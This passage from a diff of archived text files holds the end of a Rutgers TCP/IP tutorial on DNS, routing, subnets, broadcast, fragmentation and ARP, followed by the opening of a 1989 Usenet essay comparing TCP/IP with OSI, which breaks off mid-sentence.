institutions. The name servers form a tree, corresponding +to institutional structure. The names themselves follow a similar +structure. A typical example is the name BORAX.LCS.MIT.EDU. This is +a computer at the Laboratory for Computer Science (LCS) at MIT. In +order to find its Internet address, you might potentially have to +consult 4 different servers. First, you would ask a central server + 18 + + + +(called the root) where the EDU server is. EDU is a server that keeps +track of educational institutions. The root server would give you the +names and Internet addresses of several servers for EDU. (There are +several servers at each level, to allow for the possibly that one +might be down.) You would then ask EDU where the server for MIT is. +Again, it would give you names and Internet addresses of several +servers for MIT. Generally, not all of those servers would be at MIT, +to allow for the possibility of a general power failure at MIT. Then +you would ask MIT where the server for LCS is, and finally you would +ask one of the LCS servers about BORAX. The final result would be the +Internet address for BORAX.LCS.MIT.EDU. Each of these levels is +referred to as a "domain". The entire name, BORAX.LCS.MIT.EDU, is +called a "domain name". (So are the names of the higher-level +domains, such as LCS.MIT.EDU, MIT.EDU, and EDU.) + +Fortunately, you don't really have to go through all of this most of +the time. First of all, the root name servers also happen to be the +name servers for the top-level domains such as EDU. Thus a single +query to a root server will get you to MIT. Second, software +generally remembers answers that it got before. So once we look up a +name at LCS.MIT.EDU, our software remembers where to find servers for +LCS.MIT.EDU, MIT.EDU, and EDU. It also remembers the translation of +BORAX.LCS.MIT.EDU. Each of these pieces of information has a "time to +live" associated with it. Typically this is a few days. After that, +the information expires and has to be looked up again. This allows +institutions to change things. + +The domain system is not limited to finding out Internet addresses. +Each domain name is a node in a database. The node can have records +that define a number of different properties. Examples are Internet +address, computer type, and a list of services provided by a computer. +A program can ask for a specific piece of information, or all +information about a given name. It is possible for a node in the +database to be marked as an "alias" (or nickname) for another node. +It is also possible to use the domain system to store information +about users, mailing lists, or other objects. + +There is an Internet standard defining the operation of these +databases, as well as the protocols used to make queries of them. +Every network utility has to be able to make such queries, since this +is now the official way to evaluate host names. Generally utilities +will talk to a server on their own system. This server will take care +of contacting the other servers for them. This keeps down the amount +of code that has to be in each application program. + +The domain system is particularly important for handling computer +mail. There are entry types to define what computer handles mail for +a given name, to specify where an individual is to receive mail, and +to define mailing lists. + +(See RFC's 882, 883, and 973 for specifications of the domain system. +RFC 974 defines the use of the domain system in sending mail.) + + + + 19 + + + +6. Routing + + +The description above indicated that the IP implementation is +responsible for getting datagrams to the destination indicated by the +destination address, but little was said about how this would be done. +The task of finding how to get a datagram to its destination is +referred to as "routing". In fact many of the details depend upon the +particular implementation. However some general things can be said. + +First, it is necessary to understand the model on which IP is based. +IP assumes that a system is attached to some local network. We assume +that the system can send datagrams to any other system on its own +network. (In the case of Ethernet, it simply finds the Ethernet +address of the destination system, and puts the datagram out on the +Ethernet.) The problem comes when a system is asked to send a +datagram to a system on a different network. This problem is handled +by gateways. A gateway is a system that connects a network with one +or more other networks. Gateways are often normal computers that +happen to have more than one network interface. For example, we have +a Unix machine that has two different Ethernet interfaces. Thus it is +connected to networks 128.6.4 and 128.6.3. This machine can act as a +gateway between those two networks. The software on that machine must +be set up so that it will forward datagrams from one network to the +other. That is, if a machine on network 128.6.4 sends a datagram to +the gateway, and the datagram is addressed to a machine on network +128.6.3, the gateway will forward the datagram to the destination. +Major communications centers often have gateways that connect a number +of different networks. (In many cases, special-purpose gateway +systems provide better performance or reliability than general-purpose +systems acting as gateways. A number of vendors sell such systems.) + +Routing in IP is based entirely upon the network number of the +destination address. Each computer has a table of network numbers. +For each network number, a gateway is listed. This is the gateway to +be used to get to that network. Note that the gateway doesn't have to +connect directly to the network. It just has to be the best place to +go to get there. For example at Rutgers, our interface to NSFnet is +at the John von Neuman Supercomputer Center (JvNC). Our connection to +JvNC is via a high-speed serial line connected to a gateway whose +address is 128.6.3.12. Systems on net 128.6.3 will list 128.6.3.12 as +the gateway for many off-campus networks. However systems on net +128.6.4 will list 128.6.4.1 as the gateway to those same off-campus +networks. 128.6.4.1 is the gateway between networks 128.6.4 and +128.6.3, so it is the first step in getting to JvNC. + +When a computer wants to send a datagram, it first checks to see if +the destination address is on the system's own local network. If so, +the datagram can be sent directly. Otherwise, the system expects to +find an entry for the network that the destination address is on. The +datagram is sent to the gateway listed in that entry. This table can +get quite big. For example, the Internet now includes several hundred +individual networks. Thus various strategies have been developed to +reduce the size of the routing table. One strategy is to depend upon +"default routes". Often, there is only one gateway out of a network. + 20 + + + +This gateway might connect a local Ethernet to a campus-wide backbone +network. In that case, we don't need to have a separate entry for +every network in the world. We simply define that gateway as a +"default". When no specific route is found for a datagram, the +datagram is sent to the default gateway. A default gateway can even +be used when there are several gateways on a network. There are +provisions for gateways to send a message saying "I'm not the best +gateway -- use this one instead." (The message is sent via ICMP. See +RFC 792.) Most network software is designed to use these messages to +add entries to their routing tables. Suppose network 128.6.4 has two +gateways, 128.6.4.59 and 128.6.4.1. 128.6.4.59 leads to several other +internal Rutgers networks. 128.6.4.1 leads indirectly to the NSFnet. +Suppose we set 128.6.4.59 as a default gateway, and have no other +routing table entries. Now what happens when we need to send a +datagram to MIT? MIT is network 18. Since we have no entry for +network 18, the datagram will be sent to the default, 128.6.4.59. As +it happens, this gateway is the wrong one. So it will forward the +datagram to 128.6.4.1. But it will also send back an error saying in +effect: "to get to network 18, use 128.6.4.1". Our software will then +add an entry to the routing table. Any future datagrams to MIT will +then go directly to 128.6.4.1. (The error message is sent using the +ICMP protocol. The message type is called "ICMP redirect.") + +Most IP experts recommend that individual computers should not try to +keep track of the entire network. Instead, they should start with +default gateways, and let the gateways tell them the routes, as just +described. However this doesn't say how the gateways should find out +about the routes. The gateways can't depend upon this strategy. They +have to have fairly complete routing tables. For this, some sort of +routing protocol is needed. A routing protocol is simply a technique +for the gateways to find each other, and keep up to date about the +best way to get to every network. RFC 1009 contains a review of +gateway design and routing. However rip.doc is probably a better +introduction to the subject. It contains some tutorial material, and +a detailed description of the most commonly-used routing protocol. + + + +7. Details about Internet addresses: subnets and broadcasting + + +As indicated earlier, Internet addresses are 32-bit numbers, normally +written as 4 octets (in decimal), e.g. 128.6.4.7. There are actually +3 different types of address. The problem is that the address has to +indicate both the network and the host within the network. It was +felt that eventually there would be lots of networks. Many of them +would be small, but probably 24 bits would be needed to represent all +the IP networks. It was also felt that some very big networks might +need 24 bits to represent all of their hosts. This would seem to lead +to 48 bit addresses. But the designers really wanted to use 32 bit +addresses. So they adopted a kludge. The assumption is that most of +the networks will be small. So they set up three different ranges of +address. Addresses beginning with 1 to 126 use only the first octet +for the network number. The other three octets are available for the +host number. Thus 24 bits are available for hosts. These numbers are + 21 + + + +used for large networks. But there can only be 126 of these very big +networks. The Arpanet is one, and there are a few large commercial +networks. But few normal organizations get one of these "class A" +addresses. For normal large organizations, "class B" addresses are +used. Class B addresses use the first two octets for the network +number. Thus network numbers are 128.1 through 191.254. (We avoid 0 +and 255, for reasons that we see below. We also avoid addresses +beginning with 127, because that is used by some systems for special +purposes.) The last two octets are available for host addesses, +giving 16 bits of host address. This allows for 64516 computers, +which should be enough for most organizations. (It is possible to get +more than one class B address, if you run out.) Finally, class C +addresses use three octets, in the range 192.1.1 to 223.254.254. +These allow only 254 hosts on each network, but there can be lots of +these networks. Addresses above 223 are reserved for future use, as +class D and E (which are currently not defined). + +Many large organizations find it convenient to divide their network +number into "subnets". For example, Rutgers has been assigned a class +B address, 128.6. We find it convenient to use the third octet of the +address to indicate which Ethernet a host is on. This division has no +significance outside of Rutgers. A computer at another institution +would treat all datagrams addressed to 128.6 the same way. They would +not look at the third octet of the address. Thus computers outside +Rutgers would not have different routes for 128.6.4 or 128.6.5. But +inside Rutgers, we treat 128.6.4 and 128.6.5 as separate networks. In +effect, gateways inside Rutgers have separate entries for each Rutgers +subnet, whereas gateways outside Rutgers just have one entry for +128.6. Note that we could do exactly the same thing by using a +separate class C address for each Ethernet. As far as Rutgers is +concerned, it would be just as convenient for us to have a number of +class C addresses. However using class C addresses would make things +inconvenient for the rest of the world. Every institution that wanted +to talk to us would have to have a separate entry for each one of our +networks. If every institution did this, there would be far too many +networks for any reasonable gateway to keep track of. By subdividing +a class B network, we hide our internal structure from everyone else, +and save them trouble. This subnet strategy requires special +provisions in the network software. It is described in RFC 950. + +0 and 255 have special meanings. 0 is reserved for machines that +don't know their address. In certain circumstances it is possible for +a machine not to know the number of the network it is on, or even its +own host address. For example, 0.0.0.23 would be a machine that knew +it was host number 23, but didn't know on what network. + +255 is used for "broadcast". A broadcast is a message that you want +every system on the network to see. Broadcasts are used in some +situations where you don't know who to talk to. For example, suppose +you need to look up a host name and get its Internet address. +Sometimes you don't know the address of the nearest name server. In +that case, you might send the request as a broadcast. There are also +cases where a number of systems are interested in information. It is +then less expensive to send a single broadcast than to send datagrams +individually to each host that is interested in the information. In + 22 + + + +order to send a broadcast, you use an address that is made by using +your network address, with all ones in the part of the address where +the host number goes. For example, if you are on network 128.6.4, you +would use 128.6.4.255 for broadcasts. How this is actually +implemented depends upon the medium. It is not possible to send +broadcasts on the Arpanet, or on point to point lines. However it is +possible on an Ethernet. If you use an Ethernet address with all its +bits on (all ones), every machine on the Ethernet is supposed to look +at that datagram. + +Although the official broadcast address for network 128.6.4 is now +128.6.4.255, there are some other addresses that may be treated as +broadcasts by certain implementations. For convenience, the standard +also allows 255.255.255.255 to be used. This refers to all hosts on +the local network. It is often simpler to use 255.255.255.255 instead +of finding out the network number for the local network and forming a +broadcast address such as 128.6.4.255. In addition, certain older +implementations may use 0 instead of 255 to form the broadcast +address. Such implementations would use 128.6.4.0 instead of +128.6.4.255 as the broadcast address on network 128.6.4. Finally, +certain older implementations may not understand about subnets. Thus +they consider the network number to be 128.6. In that case, they will +assume a broadcast address of 128.6.255.255 or 128.6.0.0. Until +support for broadcasts is implemented properly, it can be a somewhat +dangerous feature to use. + +Because 0 and 255 are used for unknown and broadcast addresses, normal +hosts should never be given addresses containing 0 or 255. Addresses +should never begin with 0, 127, or any number above 223. Addresses +violating these rules are sometimes referred to as "Martians", because +of rumors that the Central University of Mars is using network 225. + + + +8. Datagram fragmentation and reassembly + + +TCP/IP is designed for use with many different kinds of network. +Unfortunately, network designers do not agree about how big packets +can be. Ethernet packets can be 1500 octets long. Arpanet packets +have a maximum of around 1000 octets. Some very fast networks have +much larger packet sizes. At first, you might think that IP should +simply settle on the smallest possible size. Unfortunately, this +would cause serious performance problems. When transferring large +files, big packets are far more efficient than small ones. So we want +to be able to use the largest packet size possible. But we also want +to be able to handle networks with small limits. There are two +provisions for this. First, TCP has the ability to "negotiate" about +datagram size. When a TCP connection first opens, both ends can send +the maximum datagram size they can handle. The smaller of these +numbers is used for the rest of the connection. This allows two +implementations that can handle big datagrams to use them, but also +lets them talk to implementations that can't handle them. However +this doesn't completely solve the problem. The most serious problem +is that the two ends don't necessarily know about all of the steps in + 23 + + + +between. For example, when sending data between Rutgers and Berkeley, +it is likely that both computers will be on Ethernets. Thus they will +both be prepared to handle 1500-octet datagrams. However the +connection will at some point end up going over the Arpanet. It can't +handle packets of that size. For this reason, there are provisions to +split datagrams up into pieces. (This is referred to as +"fragmentation".) The IP header contains fields indicating the a +datagram has been split, and enough information to let the pieces be +put back together. If a gateway connects an Ethernet to the Arpanet, +it must be prepared to take 1500-octet Ethernet packets and split them +into pieces that will fit on the Arpanet. Furthermore, every host +implementation of TCP/IP must be prepared to accept pieces and put +them back together. This is referred to as "reassembly". + +TCP/IP implementations differ in the approach they take to deciding on +datagram size. It is fairly common for implementations to use +576-byte datagrams whenever they can't verify that the entire path is +able to handle larger packets. This rather conservative strategy is +used because of the number of implementations with bugs in the code to +reassemble fragments. Implementors often try to avoid ever having +fragmentation occur. Different implementors take different approaches +to deciding when it is safe to use large datagrams. Some use them +only for the local network. Others will use them for any network on +the same campus. 576 bytes is a "safe" size, which every +implementation must support. + + + +9. Ethernet encapsulation: ARP + + +There was a brief discussion earlier about what IP datagrams look like +on an Ethernet. The discussion showed the Ethernet header and +checksum. However it left one hole: It didn't say how to figure out +what Ethernet address to use when you want to talk to a given Internet +address. In fact, there is a separate protocol for this, called ARP +("address resolution protocol"). (Note by the way that ARP is not an +IP protocol. That is, the ARP datagrams do not have IP headers.) +Suppose you are on system 128.6.4.194 and you want to connect to +system 128.6.4.7. Your system will first verify that 128.6.4.7 is on +the same network, so it can talk directly via Ethernet. Then it will +look up 128.6.4.7 in its ARP table, to see if it already knows the +Ethernet address. If so, it will stick on an Ethernet header, and +send the packet. But suppose this system is not in the ARP table. +There is no way to send the packet, because you need the Ethernet +address. So it uses the ARP protocol to send an ARP request. +Essentially an ARP request says "I need the Ethernet address for +128.6.4.7". Every system listens to ARP requests. When a system sees +an ARP request for itself, it is required to respond. So 128.6.4.7 +will see the request, and will respond with an ARP reply saying in +effect "128.6.4.7 is 8:0:20:1:56:34". (Recall that Ethernet addresses +are 48 bits. This is 6 octets. Ethernet addresses are conventionally +shown in hex, using the punctuation shown.) Your system will save +this information in its ARP table, so future packets will go directly. +Most systems treat the ARP table as a cache, and clear entries in it + 24 + + + +if they have not been used in a certain period of time. + +Note by the way that ARP requests must be sent as "broadcasts". There +is no way that an ARP request can be sent directly to the right +system. After all, the whole reason for sending an ARP request is +that you don't know the Ethernet address. So an Ethernet address of +all ones is used, i.e. ff:ff:ff:ff:ff:ff. By convention, every +machine on the Ethernet is required to pay attention to packets with +this as an address. So every system sees every ARP requests. They +all look to see whether the request is for their own address. If so, +they respond. If not, they could just ignore it. (Some hosts will +use ARP requests to update their knowledge about other hosts on the +network, even if the request isn't for them.) Note that packets whose +IP address indicates broadcast (e.g. 255.255.255.255 or 128.6.4.255) +are also sent with an Ethernet address that is all ones. + + + +10. Getting more information + + +This directory contains documents describing the major protocols. +There are literally hundreds of documents, so we have chosen the ones +that seem most important. Internet standards are called RFC's. RFC +stands for Request for Comment. A proposed standard is initially +issued as a proposal, and given an RFC number. When it is finally +accepted, it is added to Official Internet Protocols, but it is still +referred to by the RFC number. We have also included two IEN's. +(IEN's used to be a separate classification for more informal +documents. This classification no longer exists -- RFC's are now used +for all official Internet documents, and a mailing list is used for +more informal reports.) The convention is that whenever an RFC is +revised, the revised version gets a new number. This is fine for most +purposes, but it causes problems with two documents: Assigned Numbers +and Official Internet Protocols. These documents are being revised +all the time, so the RFC number keeps changing. You will have to look +in rfc-index.txt to find the number of the latest edition. Anyone who +is seriously interested in TCP/IP should read the RFC describing IP +(791). RFC 1009 is also useful. It is a specification for gateways +to be used by NSFnet. As such, it contains an overview of a lot of +the TCP/IP technology. You should probably also read the description +of at least one of the application protocols, just to get a feel for +the way things work. Mail is probably a good one (821/822). TCP +(793) is of course a very basic specification. However the spec is +fairly complex, so you should only read this when you have the time +and patience to think about it carefully. Fortunately, the author of +the major RFC's (Jon Postel) is a very good writer. The TCP RFC is +far easier to read than you would expect, given the complexity of what +it is describing. You can look at the other RFC's as you become +curious about their subject matter. + +Here is a list of the documents you are more likely to want: + + rfc-index list of all RFC's + + 25 + + + + rfc1012 somewhat fuller list of all RFC's + + rfc1011 Official Protocols. It's useful to scan this to see + what tasks protocols have been built for. This defines + which RFC's are actual standards, as opposed to + requests for comments. + + rfc1010 Assigned Numbers. If you are working with TCP/IP, you + will probably want a hardcopy of this as a reference. + It's not very exciting to read. It lists all the + offically defined well-known ports and lots of other + things. + + rfc1009 NSFnet gateway specifications. A good overview of IP + routing and gateway technology. + + rfc1001/2 netBIOS: networking for PC's + + rfc973 update on domains + + rfc959 FTP (file transfer) + + rfc950 subnets + + rfc937 POP2: protocol for reading mail on PC's + + rfc894 how IP is to be put on Ethernet, see also rfc825 + + rfc882/3 domains (the database used to go from host names to + Internet address and back -- also used to handle UUCP + these days). See also rfc973 + + rfc854/5 telnet - protocol for remote logins + + rfc826 ARP - protocol for finding out Ethernet addresses + + rfc821/2 mail + + rfc814 names and ports - general concepts behind well-known + ports + + rfc793 TCP + + rfc792 ICMP + + rfc791 IP + + rfc768 UDP + + rip.doc details of the most commonly-used routing protocol + + ien-116 old name server (still needed by several kinds of + system) + + ien-48 the Catenet model, general description of the + 26 + + + + philosophy behind TCP/IP + +The following documents are somewhat more specialized. + + rfc813 window and acknowledgement strategies in TCP + + rfc815 datagram reassembly techniques + + rfc816 fault isolation and resolution techniques + + rfc817 modularity and efficiency in implementation + + rfc879 the maximum segment size option in TCP + + rfc896 congestion control + + rfc827,888,904,975,985 + EGP and related issues + +To those of you who may be reading this document remotely instead of +at Rutgers: The most important RFC's have been collected into a +three-volume set, the DDN Protocol Handbook. It is available from the +DDN Network Information Center, SRI International, 333 Ravenswood +Avenue, Menlo Park, California 94025 (telephone: 800-235-3155). You +should be able to get them via anonymous FTP from sri-nic.arpa. File +names are: + + RFC's: + rfc:rfc-index.txt + rfc:rfcxxx.txt + IEN's: + ien:ien-index.txt + ien:ien-xxx.txt + +rip.doc is available by anonymous FTP from topaz.rutgers.edu, as +/pub/tcp-ip-docs/rip.doc. + +Sites with access to UUCP but not FTP may be able to retreive them via +UUCP from UUCP host rutgers. The file names would be + + RFC's: + /topaz/pub/pub/tcp-ip-docs/rfc-index.txt + /topaz/pub/pub/tcp-ip-docs/rfcxxx.txt + IEN's: + /topaz/pub/pub/tcp-ip-docs/ien-index.txt + /topaz/pub/pub/tcp-ip-docs/ien-xxx.txt + /topaz/pub/pub/tcp-ip-docs/rip.doc + +Note that SRI-NIC has the entire set of RFC's and IEN's, but rutgers +and topaz have only those specifically mentioned above. + + + + + + 27 + diff --git a/textfiles.com/internet/tcpiso.txt b/textfiles.com/internet/tcpiso.txt new file mode 100644 index 00000000..45cf800c --- /dev/null +++ b/textfiles.com/internet/tcpiso.txt @@ -0,0 +1,1233 @@ +Article 6563 of comp.protocols.tcp-ip: +From: martillo@cpoint.UUCP (Joachim Carlo Santos Martillo) +Subject: TCP/IP versus OSI +Message-ID: <2145@cpoint.UUCP> +Date: 15 Mar 89 12:37:56 GMT +Reply-To: martillo@cpoint.UUCP (Joachim Carlo Santos Martillo) +Organization: Clearpoint Research Corp., Hopkinton Mass. + +The following is an article which I am going to submit to Data +Communications in reply to a column which William Stallings +did on me a few months ago. I think people in this forum might +be interested, and I would not mind some comments. + + + Round 2 in the great TCP/IP versus OSI Debate + + I. INTRODUCTION + + When ISO published the first proposal for the ISO reference + model in 1978, DARPA-sponsored research in packet switching + for data communications had already been progressing for + over 10 years. The NCP protocol suite, from which the X.25 + packet-switching protocol suite originated, had already been + rejected as unsuitable for genuine resource-sharing computer + networks. The major architectural and protocol development + for internetting over the ARPANET was completed during the + 1978-79 period. The complete conversion of DARPA-sponsored + networks to internetting occurred in January, 1983, when + DARPA required all ARPANET computers to use TCP/IP. Since + then, with an effective architecture, with working protocols + on real networks, researchers and developers within the ARPA + Internet community have been refining computer networking + and providing continually more resource sharing at lower + costs. At the same time, with no obvious architecture, with + theoretical or idealized networks and while actively + ignoring the work being done in the ARPA Internet context, + the ISO OSI standards committees were developing basic + remote terminal and file transfer protocols. The ISO OSI + protocol suite generally provides potentially much less at + much more cost than the ARPA Internet suite already + provides. No one should be surprised that many computer + networking system architects wish to debate the merits of + the OSI reference model and that many relatively pleased + business, technical and academic users of the ARPA Internet + protocol suite would like such a debate to be actively + pursued in the media. + + ______________________________________________________________ + | | + | Background | + | | + |Since June, 1988 William Stallings and I have been engaging| + |in a guerilla debate in the reader's forum and the EOT| + |feature on the technical and economic merits of OSI versus| + |ARPANET-style networking. Enough issues have been raised to| + |require a complete article to continue the discussion. The| + |debate is of major interest because managers are now making| + |strategic decisions which will affect the development, cost| + |and functionality of corporate networks over the whole| + |world. A valid approach to the debate deals with the| + |technical, economic and logistic issues but avoids ad| + |hominem attacks. I apologize for those comments in my forum| + |letter which might be construed as personal attacks on| + |William Stallings. | + | | + |Since I have not yet published many papers and my book is| + |only 3/4s finished, I should introduce myself before I| + |refute the ideas which Stallings presented in the September| + |EOT feature. I am a system designer and implementer who is| + |a founder and Project Director at Constellation Technologies| + |which is a Boston-based start-up consulting and| + |manufacturing company specializing in increasing the| + |performance, reliability and security of standard low-level| + |communications technologies for any of the plethora of| + |computer networking environments currently available. | + | | + |I am not an "Arpanet Old Network Boy." My original| + |experience is in telephony. I have implemented Signaling| + |System 6, X.25, Q.921 and Q.931. During a one-year research| + |position at MIT, I worked on TFTP and helped develop the X| + |network transparent windowing protocol. Later I developed| + |PC/NTS which uses IEEE 802.2 Type 2 to provide PC-Prime| + |Series 50 connectivity over IEEE 802.3 (Ethernet) networks.| + |My partner Tony Bono and I have attended various IEEE and| + |CCITT standards-related committees in various official| + |capacities. | + _____________________________________________________________| + + II. THE DEBATE + + Part of the problem with debating is the lack of a mutually + agreeable and understood set of concepts in which to frame + the debate. I have yet to meet a communications engineer + who had a sense of what a process might be. Having taught + working software and hardware engineers at Harvard + University and AT&T and having attended the international + standards committees with many hardware, software and + communications engineers, I have observed that overall + system design concepts in computer networking need a lot + more attention and understanding than they have been + getting. Normally in the standardization process, this lack + of attention would not be serious because official standards + bodies usually simply make official already existing de + facto standards like Ethernet 2.0 which had already proven + themselves. In the case of OSI, the ISO committee, for no + obvious reasons, chose to ignore the proven ARPA Internet de + facto standard. + + ______________________________________________________________ + | | + | Architecture, | + | Functional Specification, | + | Design Specification | + | | | + |Nowadays, we read a lot of hype about CASE, object-oriented| + |program techniques and languages designed to facilitate or| + |to ease the development of large software projects. These| + |tools generally duck the hardest and most interesting system| + |design and development problem which is the design under| + |constraint of major systems which somebody might actually| + |want to buy. The hype avoids the real issue that student| + |engineers are either simply not taught or do not learn| + |system design in university engineering programs. If| + |software engineers generally knew how to produce acceptable| + |architectures, functional specifications and design| + |specifications, the push for automatic tools would be much| + |less. In fact, the development of CASE tools for automatic| + |creation of systems architectures, functional specifications| + |and design specifications requires understanding exactly how| + |to produce proper architectures and specifications. But if| + |engineers knew how to produce good architectures and| + |specifications for software, presumably student engineers| + |would receive reasonable instruction in producing| + |architectures and specifications, and then there would be| + |much less need for automatic CASE tools to produce system| + |architectures, functional specifications or design| + |specifications. | + | | + |Just as an architectural description of a building would| + |point out that a building is Gothic or Georgian, an| + |operating system architecture might point out that the| + |operating system is multitasking, pre-emptively time-sliced| + |with kernel privileged routines running at interrupt level.| + |A system architecture would describe statically and| + |abstractly the fundamental operating system entities. In| + |Unix, the fundamental operating system entities on the user| + |side would be the process and the file. The functional| + |specification would describe the functionality to be| + |provided to the user within the constraints of the| + |architecture. A functional specification should not list the| + |function calls used in the system. The design specification| + |should specify the model by which the architecture is to be| + |implemented to provide the desired functionality. A little| + |pseudocode can be useful depending on the particular design| + |specification detail level. Data structures, which are| + |likely to change many times during implementations, should| + |not appear in the design specification. | + | | + |Ancillary documents which treat financial and project| + |management issues should be available to the development| + |team. In all cases documents must be short. Otherwise,| + |there is no assurance the all members of the development or| + |product management teams will read and fully comprehend| + |their documents. Detail and verbiage can be the enemy of| + |clarity. Good architectures and functional specifications| + |for moderately large systems like Unix generally require| + |about 10-20 pages. A good high-level design specification| + |for such a system would take about 25 pages. If the| + |documents are longer, something may be wrong. The key is| + |understanding what should not be included in such documents.| + |The ISO OSI documents generally violate all these| + |principles. | + _____________________________________________________________| + + As a consequence, the ISO OSI committee and OSI boosters + have an obligation to justify their viewpoint in debate and + technical discussion with computer networking experts and + system designers. Unfortunately, the debate over the use of + OSI versus TCP/IP has so far suffered from three problems: + + o a lack of systems level viewpoint, + + o a lack of developer insight and + + o an hostility toward critical appraisal either + technically or economically of the proposed ISO + OSI standards. + + The following material is an attempt to engage in a critical + analysis of OSI on the basis of system architecture, + development principles and business economics. Note that in + the following article unattributed quotations are taken from + the itemized list which Stallings used in EOT to attempt to + summarize my position. + + III. INTERNETWORKING: THE KEY SYSTEM LEVEL START POINT + + The most powerful system level architectural design concept + in modern computer networking is internetworking. + Internetworking is practically absent from the OSI reference + model which concentrates on layering, which is an + implementation technique, and on the virtual connection, + which would be a feature of a proper architecture. + Internetworking is good for the same reason Unix is good. + The Unix architects and the ARPA Internet architects, after + several missteps, concluded that the most useful designs are + achieved by first choosing an effective computational or + application model for the user and then figuring out how to + implement this model on a particular set of hardware. + Without taking a position on success or failure, I have the + impression that the SNA and VMS architects by way of + contrast set out to make the most effective use of their + hardware. As a consequence both SNA and VMS are rather + inflexible systems which are often rather inconvenient for + users even though the hardware is often quite effectively + used. Of course, starting from the user computational or + application model does not preclude eventually making the + most effective use of the hardware once the desired + computational or application model has been implemented. + + ______________________________________________________________ + | | + | Internetworking | + | | + |The internetworking approach enables system designers and| + |implementers to provide network users with a single, highly| + |available, highly reliable, easily enlarged, easily| + |modifiable, virtual network. The user does not need to know| + |that this single virtual network is composed of a multitude| + |of technologically heterogeneous wide area and local area| + |networks with multiple domains of authority.| + |Internetworking is achieved by means of a coherent system| + |level view through the use of an obligatory internet| + |protocol with ancillary monitoring protocol, gateways,| + |exterior/internal gateway protocols and hierarchical domain| + |name service. | + | | + |In the internetworking (not interworking) approach, if two| + |hosts are attached to the same physical subnetwork of an| + |internetwork, the hosts communicate directly with each| + |other. If the hosts are attached to different physical| + |subnetworks, the hosts communicate via gateways local to| + |each host. Gateways understand and learn the internetwork| + |topology dynamically at a subnetwork (not host level) and| + |route data from the source subnetwork to destination| + |subnetwork on a subnetwork hop by subnetwork hop basis. The| + |detail of information required for routing and configuration| + |is reduced by orders of magnitude. In the ARPA Internet,| + |gateways learn topological information dynamically and| + |provide reliability as well as availability by performing| + |alternate routing of IP datagrams in cases of network| + |congestion or network failures. | + | | + |An authoritative domain, Within the ARPA Internet, can| + |conceal from the rest of the internetwork a lot of internal| + |structural detail because gateways in other domains need| + |only know about gateways within their own domain and| + |gateways between authoritative domains. Thus, logical| + |subnetworks of an internetwork may also themselves be| + |catenets (concatenated networks) with internal gateways| + |connecting different physical subnetworks within each| + |catenet. For example, to send traffic to MIT, a gateway at| + |U.C. Berkeley only need know about gateways between MIT and| + |other domains and need know nothing about the internal| + |structure of the MIT domain's catenet. | + _____________________________________________________________| + + + The ARPA Internet is one realization of the internetworking + model. While I am not particularly enamored of some of the + ARPA protocol features (nor of Unix features by the way),1 + the ARPA Internet works well with capacity for expansion. + SINet (described in "How to grow a world-class X.25 + network," Data Communications, May 1988) is based on the + CSNet subnetwork within the ARPA Internet. + ____________________ + + 1 The use of local-IP-address, local-TCP-port, remote-IP- + address, remote-TCP-port quadruples to uniquely identify a + given TCP virtual circuit is an impediment to providing + greater reliability and availability for a non-gateway + multihomed host. A even larger problem with TCP/IP could + lie in the possibly non-optimal partitioning of + functionality between TCP, IP and ICMP. + ____________________ + + ______________________________________________________________ + | | + | WANs and LANs | + | | + |OSI actually has an architecture. Like the ARPANET, OSI| + |predicates the existence of a communications subnet| + |consisting communications subnet processors (or subnet| + |switches) and communications subnet access processors (or| + |access switches). Access switches are also known as IMPs| + |(Interface Message Processors) or PSNs (Packet Switch Nodes)| + |in the ARPANET context. PSPDN (Packet-Switched Public Data| + |Network) terminology usually designates access switches| + |simply as packet switches. The communication subnet may be| + |hierarchical and may contain adjunct processors other than| + |subnet and access switches. The internal architecture of| + |the communications subnet is quite distinct from the| + |architecture presented to end-point hosts. The| + |communications subnet may use protocols completely different| + |from the protocols used for communication between two end-| + |point hosts. An end-point host receives and transmits data| + |to its attached access switch via a subnet access protocol.| + |The communications subnet is responsible for taking a packet| + |received at an access switch and transporting the packet to| + |the access switch attached to the destination end-point| + |host. The existence of such a well-defined communications| + |subnet is the hall mark of a Wide-Area Network (WAN). | + | + |Unfortunately, from the standpoint of making computer| + |networking generally and inexpensively available, access and| + |subnet switches are expensive devices to build which need| + |fairly complicated control software. DECNET gets around| + |some of these problems by incorporating the communications| + |subnet logic into end-point hosts. As a consequence,| + |customers who wish to run DECNET typically have to purchase| + |much more powerful machines than they might otherwise use.| + |For the situation of a communications subnet which need| + |support connectivity for only a small number of hosts, LAN| + |developers found a more cost effective solution by| + |developing a degenerate form of packet switches based on| + |hardware-logic packet filtering rather than software| + |controlled packet switching. These degenerate packet| + |switches are installed in the end-point hosts, are accessed| + |often via DMA2 as LAN controllers and are attached to| + |extremely simplified communications subnets like coaxial| + |cables. Direct host-to-switch (controller) access,| + |degenerate packet-switching (packet-filtering) and| + |simplified communications subnets are the distinguishing| + |features of LANs. | + | | + |While ISO was ignoring the whole internetworking issue of| + |providing universal connectivity between end-point hosts| + |attached to different physical networks within internetworks| + |composed of many WANs and even more LANs concatenated| + |together, and while the IEEE was confusing all the issues by| + |presenting as an end-to-end protocol a communications subnet| + |protocol (IEEE 802.2) based on a communications subnet| + |access protocol (X.25 level 2), the ARPA Internet community| + |developed an internet architecture capable of providing the| + |universal connectivity and resource sharing which business,| + |technical and academic users really want and need. | + ______________________________________________________________ + + ____________________ + + 2 Some machines like the Prime 50 Series do not use genuine + DMA but instead use inefficient microcoded I/O. IBM + machines generally use more efficient and somewhat more + expensive internal switching. + ____________________ + + + The backbone of the ARPA Internet is the ARPANET. The + ARPANET is a packet switched subnetwork within the ARPA + Internet. The ARPANET communications subnet access protocol + is 1822. CSNet was set up as an experiment to demonstrate + that the ARPA Internet architecture and suite of protocols + would function on a packet network whose communications + subnet access protocol is X.25. Using an X.25-accessed + packet network instead of an 1822-accessed packet network + makes sense despite the glaring deficiencies of X.25,3 + because X.25 controllers are available for many more systems + than 1822 controllers and because many proprietary + networking schemes like SNA and DECNET can use X.25-accessed + packet networks but cannot use a packet network accessed by + 1822. + + Yet, calling SINet a world class X.25 network is as + reasonable as calling the ARPANET a world class 1822 + network.4 Schlumberger has produced a world class TCP/IP + network whose wires can be shared with SNA and DECNET hosts. + Schlumberger has shown enthusiasm for the flexible, + effective ARPANET suite of protocols but has given no + support in the development of SINet to the idea that + business should prepare to migrate to OSI based networks. + + I would be an OSI-enthusiast if ISO had reinvented + internetworking correctly. Unfortunately, the ISO OSI + reference model which first appeared in 1978 clearly ignored + all the ARPA community work on intercomputer networking and + resource sharing which was easily accessible in the + literature of the time. Instead of 